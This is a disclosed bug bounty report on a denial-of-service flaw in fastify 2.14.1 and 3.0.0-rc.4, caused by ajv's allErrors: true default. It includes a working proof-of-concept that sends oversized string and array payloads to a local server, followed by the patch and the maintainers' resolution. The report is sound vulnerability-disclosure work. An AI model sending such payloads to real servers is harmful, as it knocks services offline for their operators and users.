

4 Fastify uses allErrors: true ajv configuration by default which is susceptible to DoS

Share:     

TIMELINE



chalker submitted a report to [Node.js third-party modules](#).

Jun 20th (2 years ago)

I would like to report a denial of service vulnerability in fastify

It allows to cause a DoS with some schemas that were otherwise assumed to be secure against DoS by their authors

Module

module name: fastify

version: 2.14.1, 3.0.0-rc.4

npm page: <https://www.npmjs.com/package/fastify>

Module Description

An efficient server implies a lower cost of the infrastructure, a better responsiveness under load and happy users.

Module Stats

114 076 weekly downloads

Vulnerability

Vulnerability Description

See <https://github.com/ajv-validator/ajv#security-risks-of-trusted-schemas>:

Please note: The suggestions above to prevent slow validation would only work if you do NOT use `allErrors: true` in production code (using it would continue validation after validation errors).

fastify uses `allErrors: true` by default which makes it susceptible to DoS attacks even when schemas are otherwise safe.

E.g. a {sub-}schema { uniqueItems: true, maxItems: 10 } is otherwise safe against DoS as `maxItems` is checked first and validation fails there on long arrays, *but that applies to only not in `allErrors: true` case.*

Neither <https://github.com/fastify/fastify/blob/master/docs/Validation-and-Serialization.md> nor <https://github.com/fastify/fastify/blob/master/docs/Recommendations.md> mentions this directly.

Introduced in <https://github.com/fastify/fastify/pull/1398>

Steps To Reproduce:

Code 993 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1  /* Client */
2
3  const fetch = require('node-fetch')
4  const request = body => {
5    const json = JSON.stringify(body)
6    console.log(`Payload size: ${Math.round(json.length / 1024)} KiB`)
7    return fetch('http://127.0.0.1:3000/', {
8      method: 'POST',
9      headers: {
10        'Content-Type': 'application/json'
11      },
12      body: json
13    })
14  }
15
16  const fireRequests = async () => {
17    await request({ string: '@'.repeat(9000) })
18    await request({ array: Array(20000).fill().map(() => ({x: Math.random().toString(32).slice(2)})) })
19  }
20
21  /* Server */
22
23  const fastify = require('fastify')({ logger: true })
24
25  const schema = {
26    body: {
27      type: 'object',
28      properties: {
29        array: { uniqueItems: true, maxItems: 10 },
30        string: { pattern: "^[^/]+@.+#$", maxLength: 20 },
31      }
32    },
33  }
34
35  fastify.post('/', { schema }, (request, reply) => {
36    reply.send({ hello: 'world', body: request.body })
37  })
```

```
40 fastify.log.info(`server listening on ${address}`)  
41 fireRequests()  
42 })
```

<https://gist.github.com/ChALkeR/15e758d3fc5cbba0840b6a03a070c838>

Patch

Revert <https://github.com/fastify/fastify/pull/1398>

Work-around


Use <https://github.com/fastify/fastify/blob/master/docs/Server.md#ajv> to override `allErrors` to `false` in ajv configuration.

Wrap up


- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N

Impact

Cause DoS in a presence of potentially slow pattern / format or `uniqueItems` in the schema, even when schema author guarded that with a length check to be otherwise immune to DoS.


 [chalker](#) posted a comment. Jun 20th (2 years ago)
Welp, cant fix mistypes in the text after sending, hope that doesn't matter :-).

 [mcollina](#) [Node.js third-party modules staff](#) posted a comment. Jun 20th (2 years ago)
Confirmed! I'm working on a patch.

 [mcollina](#) [Node.js third-party modules staff](#) posted a comment. Jun 20th (2 years ago)
Unfortunately said note about `allErrors` was added in <https://github.com/ajv-validator/ajv/commit/334071a380c37e4d24b37de79e7ed7cc4c63a7e5>, just a few days *after* <https://github.com/fastify/fastify/pull/1398>. I even thought it could have been problematic.

 [delvedor](#) joined this report as a participant. Jun 20th (2 years ago)

 [eomm](#) joined this report as a participant. Jun 20th (2 years ago)

 [mcollina](#) [Node.js third-party modules staff](#) closed the report and changed the status to **Resolved**. Jun 29th (2 years ago)
We released v2.15.1 and v3.0.0-rc.5 with the fix.
<https://github.com/fastify/fastify/releases/tag/v2.15.1>
<https://github.com/fastify/fastify/releases/tag/v3.0.0-rc.5>

 [Node.js third-party modules](#) rewarded [chalker](#) with a **\$250** bounty. Jun 29th (2 years ago)

 [mcollina](#) [Node.js third-party modules staff](#) requested to disclose this report. Jun 29th (2 years ago)

 This report has been disclosed. Jul 29th (2 years ago)